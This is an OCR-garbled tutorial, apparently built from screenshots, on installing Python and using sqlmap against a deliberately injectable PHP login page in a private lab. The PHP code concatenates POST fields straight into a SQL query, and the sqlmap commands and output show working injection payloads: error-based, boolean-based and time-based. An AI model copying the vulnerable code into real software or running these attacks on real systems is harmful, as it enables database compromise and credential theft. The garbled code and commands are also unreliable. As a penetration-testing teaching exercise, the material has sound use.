£5% Python27 v | Mew |

python

flll’
windows

|c:\Python27),

| < Back || | | Cancel |

Add the python.exe to the path, because it will be easier to use on that way, then click to the next
button.



python

for

windows

Customize Python 2.7.8 (64-bit)

Select the way you want features to be installed.
Click on the icons in the tree below to change the
way features wil be installed.

Register Extensions
Tl Tk
Documentation
Utility Scripts

Test suite

Prepend C:\l =28 Entire feature will be installed on local hard drive
variable. Thie

command prl ¥ Entire feature will be unavailable

This feature requires OKB on your hard drive.

| Disk Usage |

| Advanced

= Back || | | Cancel




Then wait until the installation finishes:

i)

Install Python 2.7.8 (64-bit)

Please wait while the Installer instals Python 2.7.8 (64-bit). This may
fake several minutes.

Status: Copying new files

= Back || Mext = | [

And finally click to the finish button



Complete the Python 2.7.8 (64-bit)
Installer

Special Windows thanks to:
Mark Harmmond, without whose years of freely
shared Windows expertise, Python for Windows
would still be Python for DOS.

python

for

windows

Click the Finish button to exit the Installer.

| < Back || | | Cancel

After installing the python extract the sqlmap to a directory



File Home Share Wiew

(€ ~ ¢t v ThisPC » Local Disk (C:) » sglmap »
4. Downloads Eal Mame
‘| Recent places
doc
: ] extra
18 This PC ]
lib
i Desktop ]
plugins
‘| Documents
procs
4 Downloads
] shell
o Music
] tamper
=| Pictures thirdparty
irdpa
& Videos 3
) bt
e Local Disk (C:)
] udf
SRecycle.Bin
= waf
@ Documents ang =
] xml
inetpub ] ]
|| .gitattributes
PerflLogs .
] || .gitignore
Prograrm Files
_ || COMTRIBUTIMNG.md
Program Files
|| README.md
PrograrnData
|| sglmap.conf
Pythona?
= sglmap.py
| sqlmap .
' sglmapapi.py

Then open a command prompt, enter to the sqlmap directory, and start the sqlmap.py

Microsoft Hindows [Version 6.3.96001]
(c) 2013 Microsoft Corporation. All rights reserved.

C:N\Users\administrator.HACKME>cd “sqlmap

[ 2]

C:\sqglmap>sqlmap.py
Usage: C:“\sqlmap\sqlmap.py L[options]

sqlmap.py! error: missing a mandatory option (-d, -u, -1, -m, -r, -9, -¢, -x, --
wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for
advanced help

Press Enter to continue...

[%x] shutting down at ©3:57:33

C:\sqlmap>




usage of sqlmap

To try sqlmap use the sql.html as follows:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php, which validates the user credentials.

o

File Edit Search View Encoding Language Settings Macre Run Pluging  Window 7

EEL LIRS I R IR S ER B (=0 R [oR D

Eﬂmﬂﬁﬂlﬂl
1 ktitle}mx;gg;a<ftitle>
2 <body>
3 <form action="ggl.php" method="POST">
i User Name: <input type="text" id="psername" name="gpsernamns"/><br/>
2 Password: <input tyvpe="password" id="password" name="password"/><br/>
6 <input type="submit" wvalue="zend">
</ form>
B </ body>

The sql.php has the following source code.

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

//Sdbsrvname = "192.168.168.111";

Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($srvname, Susername, Spassword, Sdbname);

if (!S$con) {
echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='"
$ _POST['username'] . "' AND password='"

$_POST['password'] . "';";



$stms = mysgli query(Scon, S$query);
if ($stms === false) {
echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));
}
$row = mysqgli fetch array($stms, SQLSRV FETCH ASSOC) ;
if (Srow) {
die('Logged in'");
}
else({
die ('Wrong username or password');

}

7>

oy

File Edit 5earch View Encoding Language Settings Macre Run Plugins Window 7

cERRELE| R ey @ | BRI @E]
= =gl himl E3 | [=] =ql php Eil

1 [E<«=?php

2 Sdbname = "a";

= Sfusernams = "root":

- Zpassword = "";

= Ssrvname = "192.168.168.111";

& ff3sryname = "127.0.0.1";

7 Scon = mysqgli connect ($srvname, fSusername, Spassword, S$dbname);
8 [Hif ('Zcon){

Ef echo ("Connection ERRCOR') ;

10 dieiprint_r(mysqli_errnriECDnJ]];

12 Zquery = "SELECT * FROM tbll WHERE username="'"

13 & POST['username'] "' AWND password='"

14 S_FDST[‘;assw::d‘] Lo

15 Sstms = mysgli query($con, Squery):

16 [Eif ($stms === false){

17 echo ("ERROE during gquery execution }:

18 die (print r(mysqgli error(Scon))):

19 EY B -
20 Srow = mysqgli fetch array($stms, SQLSEV FETCH ASSCC);
21 [Eif (Srow) {
22 die('Logged in'):
23 B
24 [Helse{
25 die ('Wrong ysername or password'}:
26 BN
27 - 2?5

The most important switch of the sqlmap is the -hh which prints the detailed help. I recommend this



one instead of the -h what is the simple help.

sglmap.py —hh

C:Nsqlmap>sqlmap.py -hh
Usage: C:Nsqlmapssqlmap.py [options]

Options:
-h, --help Show basic helﬁ message and exit
-hh Show advanced help message and exit
--version Show program’s wversion number and exit
-v VYERBOSE Verbosity level: @-6 (default 1)

[ ]

Now try to test the webpage. As you remember, there are very very nice SQL injection possibilities. To

give the sqlmap the url to test use the —url switch as fol.lows:

sqlmap --url=http://192.168.168.111:8888/mysqgl/sqgll/sql.php

recognize, we give the PHP file, not the HTML file as target! It is obvious, because the SQL injection

error in the PHP not in the HTML

C:\sqlmap>sqlmap.py --url=http:/7192.168.168.111:8888/mysql sqll/sql.php

sqlmaps/l.80-dev - automatic SQL injection and database takeover tool

http: //sqlmap.org

[t] legal disclaimer: Usage of sqlmap for attacking targets wlthouE prior mutual
il o obey a
local, state and federal laws. Developers assume no glllty and are not respon

consent is illegal. It is the end user’'s responsi
sible for any misuse or damage caused by this program
[x] starting at ©5:56:02

le

is stable. This can take a couple of

[@5:56: 23] [INFO] resuming back-end DBMS ’'mysql’

[@5:56:03] [INFO] testing connection to the target URL

[B5:56: LINFO] heuristics detected Eage charset ’ascii’

[05:56: CLINFO] testing if the target UR

seconds

[B5:56:095] [INFO] target URL is stable

[@5:56:05]1 [CRITICAL] no parameter(s) found for testln? in the provided data (e.
g. GET parameter 'id' in 'www.site.com/index.php?id

[%] shutting down at 85:56:05

C:\sqlmap>_

You got a nice error message

[ 1>]




Ci:Nsqlmap>sqlmap.py —--url= httﬁ //192 168.168.111:8888/mysql/sqll/sql.php --data=[_
¥yS

username=a, password—b --dbms

sqlmap/1l.0-dev - automatic SOL injection and database takeover tool
http://sqlmap.org

[*] legal disclaimer: Usage of sqlmap for attacking targets without prior mutu
consent is illegal. It is the end user’s responsi 1 to obey all applicab
local, state and federal laws. Developers assume no 1a ility and are not resp

sible for any misuse or damage caused by this program

[#%] starting at @5:56:56

[05:56:56] [INFQ] testing connection to the target URL

[@5:56:56] [INFO] heuristics detected Eage charset ’ascii’

[95:56&56] LINFO] testing if the target UR is stable. This can take a couple
seconds

B5:56:5 LINFO] target URL is stable

[@5:56:58] L[INFO] testln parameter ’username’ is dynamic

[05:56:58] [HARNING] ? parameter 'username’ does not appear dynamic
[@5:56:58]1 L[INFO] heurlstlc (basic) test shows that POST parameter ’'username’
ht be injectable (possible DBMS: 'MySQL')

05:56:58] [INFO] testing for SQL injection on POST parameter ’username’
[@5:56:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING claus

E@S 56:59] [INFO] testing 'MySQGL >= 5.0 AND error-based - WHERE or HAVING lau
[@5:56:59] [INFO] testing 'MySQL inline queries’

[@5:56:59] [INFO] testing 'MySOL > 5.80.11 stacked queries’

[95:56:5?] [HARNING] time-based comparison requires larger statistical model,
ease wait...

[B5:56:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind’

[B5:56:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 1@ columns’
[@5:57:00]1 [INFQO] ORDER BY technique seems to be usable. This should reduce th
time needed to find the right number of query columns. Automatically extending
e range current UNION query injection technique test

[@5:57: B@] [INFO] target URL appears to have S columns in query

= - O
[@5:56:59] [INFO] testing 'MySQL > 5.80.11 stacked queries’

[95:56:5?] [HARNING] time-based comparison requires larger statistical model,
ease wait...

[05:56:59] [INFO] testing 'MySQL > 5.@.11 AND time-based blind’

[B5:56:59] [INFQ] testi ng "MySQL UNION query (NULL) - 1 to 18 columns’
[@5:57:00]1 [INFQ] ORDER BY technique seems to be usable. This should reduce th
time needed to find the right number of query columns. Automatically extending
he range for current UNION query injection technique test

[B5:57:08]1 [INFO] target appears to have 5 columns in query

[5:57:180]1 [INFO] testing ’'Generic UNION query (83) - 1 to 18 columns’
[B5:57:12]1 [HARNING] POS| parameter 'username’ is not injectable

[@5:57:12] [CRITICAL] all tested parameters appear to be not injectable. Try t
increase '--level’'/’--risk’ values to perform more tests. As heuristic test tu
ed out positive ¥ou are strongly advised to continue on with the tests. Please
cons ider usage of tampering scripts as your target might filter the queries.

?, you can try to rerun by providing either a valid value for option '’
or '--regexp

--string
[#] shutting down at ©5:57:12

C:N\sqlmap>_
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o -= O X

Ci:Nsqlmap>sqlmap.py —--url= httﬁ /7192, 168 168.111: 888?/mysql/sq11/sql php --data= ]
Y

username=a, password— --dbms SOL --level=2 --risk=
sqlmap/1l.0-dev - automatic SOL injection and database takeover tool
http://sqlmap.org

[*] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsi 1 to obey all applicable
local, state and federal laws. Developers assume no 1a ility and are not respon|

sible for any misuse or damage caused by this program

[#%] starting at ©@5:59:46

[05:59:47] [INFQ] testing connection to the target URL
[@5:59:47] [INFO] heuristics detected Eage charset ’ascii’
[95:59&47] LINFO] testing if the target UR is stable. This can take a couple of

seconds

B5:59:4 LINFO] target URL is stable
[B5:59:48] L[INFO] testln parameter ’username’ is dynamic
[05:59:48] [HARNING] ? parameter 'username’ does not appear dynamic
[@5:59:48]1 L[INFO] heurlstlc (basic) test shows that P0OST parameter ’'username’ mi

ht be injectable (possible DBMS: 'MySQL')

25:59 481 LINFO] testing for SOQL injection on POST parameter ’'username
[@5:59:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
[85i59:?@])EINFO] testing 'Generic boolean-based blind - Parameter replace (orig
inal value
E@5:59:5@] LINFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
[5:29:58]1 [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause

(EXTRACTVALUE)’

[@5:59:51] [INFO] POST parameter ’username’ is 'MySQOL >= 5.1 AND error-based - W
HERE or HAVING clause (EXTRACTVALUE)'’ 1nJectable

[@5:59:51] [INFO] testing 'MySQL inline queries
[05:59:51]1 [INFO] testing 'MySQL > 5.8.11 stacked queries’

[@5:59:51] [INFQ] testing ’MySQL > 5.8.11 AND time-based blind’

[@5:59:51]1 [INFO] testing 'MySQL UNION query (NULL) - 1 to 280 columns’
= [ = | x
[@5:59:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns’
[@5:59:51] [INFO] automatically extending ranges for UNION query injection techn
igue tests as there is at least one other (potential) technique found
[@5:59:51]1 [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[@5:59:51]1 [INFO] target URL appears to have 5 columns in query

Y
]l testing 'MySQL UNION ﬁuery (89) - 22 to 4@ columns’
]l testing ’Generic UNION query (89) - 1 to 20 columns’
] testing 'Generic UNION query (89) - 22 to 40 columns’
Y
sql?ap identified the following injection points with a total of 133 HTTP(s)} req
uests:
Place: POST
Parameter: username
Type: error-based
Title: MySQL >— 5.1 AND error based - WHERE or HAVING
Pavyload: ame=a ord=b’ AND EXTRACTVALUE(8@33
71Q(SE ECT (CASE HHEN (8033 8033) THEN 1 ELSE @ END)),@x7
nQ
[06:23:34]1 [INFO] the back-end DBMS is MySQL
web server operatinﬁ {stem Hindows
web application tec no ogy Apache 2.4.7, PHP 5.5.6
back-end DBMS: MySQL
[B6:83: 341 L[INFO Fetched data logged to text files under ’'C:iNUsers\administrato
r.HACKMEN. sqlmaphNoutput\192. 168. 12 111

[#] shutting down at ©6:03:34

[ 1>]

C:N\sqlmap>_




e@ @ http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: |aaa

Password: |-"| -

send

e@ @ http://192.168.168.111:8888/mysql/sql1/sql.php

Wrong username or password

B

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIE‘I

Intercept | HTTP history T WebSockets history T Options ]

Filter: Hiding C55, image and general binary content

# | Host | Method | URL | Params | Edited | Status
178 http://192.168.188.111:8828 POST imysalisallisgl.php & O 200

EAS J

I

_[REH\'TF"E.I’EI‘I"ETHEE{IEIETHE{] i
Send to Spider

POST /myscgl/sqll/sgl.php HTTR/L.1 e
Aocept: text/html, application/xhtmld Do & passive sca
REeferer: http:fﬁlgd.l?B.lEB.lll:BBBB ) e o
Locept-Language: en-T5
User-Agent: Mozilla/5.0 (Windows NT g -ondioRepeater Cul*R - ) ike Gecko
Content-Type: application/u-www—form- endto Sequences
Accept-Encoding: gzip, deflate Send to Comparer
Host: 19Z2.1g8.1e8.111:88E88 Send to Decoder
Content-Length: Z5 Show response in browser
Proxy-Connection: Eeep-Alive Request in browser >
Fragma: no-cache -

Engagement tools [Pro version only) >
username=aaaépasswvord=hhh Copy URL

Copy as curl command

Copy to file




Choose a file to save to

Y (@) (&) (&) (E) e

[ wet

ﬁixml

gitstiributes sglmap.py
.gitignore sglmapapi.py

CONTRIBUTING.md

req. b

Files of Type: [NI. Files

& Ch\sqlmap\req.txt - Notepad++

File Edit 5Search View Encoding Language Settings Macre Run  Plugins  Window 3

|[cOReRGaI{MRaciay 2 BRI 1oER|I@06
Eirease ]

1 [POST /mysqgl/sqll/ggl.php HITE/1.1

Boccept: text/html, application/zhtml+zml, */¥

Beferer: http://192.168.168.111:8888/my=gl/=gll/agl.html
Locept-Language: en-UJ5

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOWe4; Trident/7.0; xry:11.0) like Gecko
Content-Type: application/x-wwW-form-yprlencoded
Bccept-Encoding: ggzip, deflate

Ho=st: 192.168.168.111:8888

Content-Length: 25

10 Proxy-Connection: Eeep-Alive

11 Pragma: no-cache

12

13 ussrname=aaaspassword=hbb

(V= - TS I VR BY O LI S |




File Edit 5earch View Encoding Language Settings Macre Run  Plugins Window Z
cEHHEHB % & = i %y |2 = |l = = [ [ P

[ﬂmqtd_ﬁl
POST /mysgl/sqll/sgl.php HITES1.1
Accept: text/html, application/xhtml+xml, =/*
Beferer: http://f152.168.168.111:8888/ mvsgl/sqll/sql.html
Accept-Language: en-US

Uzer-Agent: *

Content-Type: application/x-www-form-prlencoded
Accept-Encoding: E%%E deflate

Host: 152.168.168.111: titatiti

Content-Length: 25

Proxy-Connection: HKeep-Alive

Bragma: no-cache

Bssrname=*&password=pbbb*

C:Nsqlmap>sqlmap.py -r c:“sqlmapsreq.txt --dbms=MySQL --level=5 --risk=3

sqlmaps/1l.8-dev - automatic SOL injection and database takeover tool
http: //sqlmap.org

[*] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsi ilitg to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[#] starting at @6:17:35
[@6:17:35]1 [INFO] parsing HTTP request from ’'c:“\sqlmap“\req.txt’

¥
[@6:17:49] [INFO] testing connection to the target URL
[@6:17:49] [INFO] heuristics detected web page charset 'ascii
sglmap identified the following injection points with a total of @ HTTP(s) reque
sts:
Place: (custom) POST
arameter: #1x
Type: boolean-based blind
Title: OR boolean-based blind - HHERE or HAVING clause (Generic comment)
Pavload: username=-1193" OR (9907=99Q07)-- &password=

[ 2]

Tvype: error-based

Title: MySQL OR error based - WHERE or HAVING cla

Payload: Q7 OR 1 GROUP BY CONCAT(Bx7164697971 (SELECT (CASE WHE
N (1551 1551) THEN 1 ELSE @ END)),@x7176747171, FLOOR(RAND(@)%2)) HAVING MIN(@)#g
password=

Type: ANDAOR time-based blind

Title: MySQOL < 5.0.12 AND time-based bli (heavs ?uer - comment)

Pavload: username=' AND 3132=BENCHMARK (S BBB@ MDS5(Rx72585a4d) ) #¢password=




o -= O X

Pavload: username=’ AND 313Z2=BENCHMARK (5000000, MDS(0x 72585a4d) ) #&password=

Place: (custom) POST
Parameter: #2x%
Tvpe: boolean-based blind
Title: OR boolean-based blind - NHERE o

r VYING cla
Pavload: username=&password=-6583 (34

HA use
19=3419) AND ’QSup’='QSup
Type: error-based
T1tle MySQL >— 5. 1 AND error- based -
E ! username=& ord=' AND EXTR
b(SELE T (CASE HHEN (39 1 3931) THEN 1 ELS
ux

_|

WHERE
ACTVAL
E @ EN

: AND/OR time-based blind
e: MySQL < 5.@.12 AND tlme based blind (heavy query)
o§d: tsername =&password="' AND 9424= BENCHMARK(SE@B@%B,MD5(8x69444a79)) AN

1
[06:18:26] [INFQO] testing MySQL
[B6:18:26]1 [INFO] confirming MySQL
[06:18:26]1 [INFO] the back-end DBMS is MySQL
web server operatin stem: Windows

web application tecﬁnoiogy Apache 2.4.7, PHP 5.5.6
back end DBMS: MySQL >=
[@6:18:26]1 [INFOI] fetched data logged to text files under 'C:N\UsersNadministrato
r.HACKME\.sqlmap\output\192.168.12 111

[#] shutting down at @6:18:26

[ 1]
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